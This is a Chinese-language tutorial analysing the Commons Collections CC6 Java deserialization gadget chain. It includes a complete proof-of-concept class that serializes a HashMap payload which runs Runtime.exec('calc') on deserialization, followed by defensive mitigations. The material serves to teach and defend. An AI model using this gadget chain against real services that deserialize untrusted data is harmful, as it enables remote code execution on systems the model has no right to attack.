Java反序列化之cc6
字数 1375 2025-09-01 11:26:11
Java反序列化漏洞利用:CC6链分析
一、CC6链概述
CC6(Commons Collections 6)是Apache Commons Collections库中的一个反序列化利用链,相比CC1链有以下特点:
- 不受JDK版本限制
- 利用点与CC1相同(
InvokerTransformer.transform()方法执行反射) - 调用链前半部分与URLDNS链类似,后半部分与CC1类似
二、环境准备
- JDK版本:不受限制(与CC1不同)
- 依赖库:Apache Commons Collections
- 恶意代码执行点:
InvokerTransformer.transform()方法
三、核心组件分析
1. InvokerTransformer
InvokerTransformer是执行反射的关键类,其transform()方法实现了完整的反射调用:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (...) {
// 异常处理
}
}
利用方式示例:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
invokerTransformer.transform(runtime);
// 等同于 Runtime.getRuntime().exec("calc.exe")
2. ConstantTransformer
ConstantTransformer的transform()方法直接返回构造函数传入的对象:
public Object transform(Object input) {
return iConstant;
}
用途:由于Runtime类未实现Serializable接口,不能直接序列化,但可以通过Runtime.class(Class对象实现了Serializable)来间接引用。
3. ChainedTransformer
ChainedTransformer将多个Transformer串联执行:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
利用链构造示例:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
等效反射代码:
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
Object runtimeInstance = getRuntimeMethod.invoke(null);
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(runtimeInstance, "notepad.exe");
四、调用链构造
1. 触发transform方法
通过LazyMap.get()方法触发transform调用:
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = factory.transform(key); // 关键点
super.map.put(key, value);
return value;
}
return super.map.get(key);
}
构造方式:
Map decorateMap = LazyMap.decorate(hashmap, chainedTransformer);
decorateMap.get(null);
2. 触发get方法
通过TiedMapEntry类的getValue()方法触发get():
public Object getValue() {
return map.get(key); // 调用LazyMap.get()
}
hashCode()方法也调用了getValue():
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
3. 触发hashCode方法
通过HashMap.readObject()触发hashCode():
HashMap.readObject()→hash()→hashCode()
五、完整利用链构造
为避免序列化时立即执行命令,需要分步构造:
public class Poc {
public static void main(String[] args) throws Exception {
// 1. 构造恶意Transformer数组
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
// 2. 创建ChainedTransformer但不立即使用
ChainedTransformer ct = new ChainedTransformer(transformers);
// 3. 使用无害的Transformer初始化LazyMap
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
// 4. 创建TiedMapEntry并放入HashMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");
// 5. 移除可能触发执行的键
lazymap.remove("2");
// 6. 通过反射替换为恶意Transformer
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct);
// 7. 序列化和反序列化触发漏洞
serial(hashMap);
unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
in.readObject();
}
}
六、调用链总结
完整调用链如下:
HashMap.readObject()
→hash()
→TiedMapEntry.hashCode()
→TiedMapEntry.getValue()
→LazyMap.get()
→ChainedTransformer.transform()
→InvokerTransformer.transform()(执行恶意代码)
七、防御措施
- 升级Apache Commons Collections到最新安全版本
- 使用Java反序列化过滤器(JEP 290)
- 避免反序列化不可信数据
- 使用白名单机制验证反序列化的类
八、关键点总结
- 不受JDK版本限制:相比CC1更具通用性
- 延迟触发机制:通过反射修改字段避免序列化时立即执行
- 链式调用:结合URLDNS和CC1的调用链特点
- Transformer利用:通过ChainedTransformer串联多个反射操作
- 入口点:HashMap的反序列化作为起始点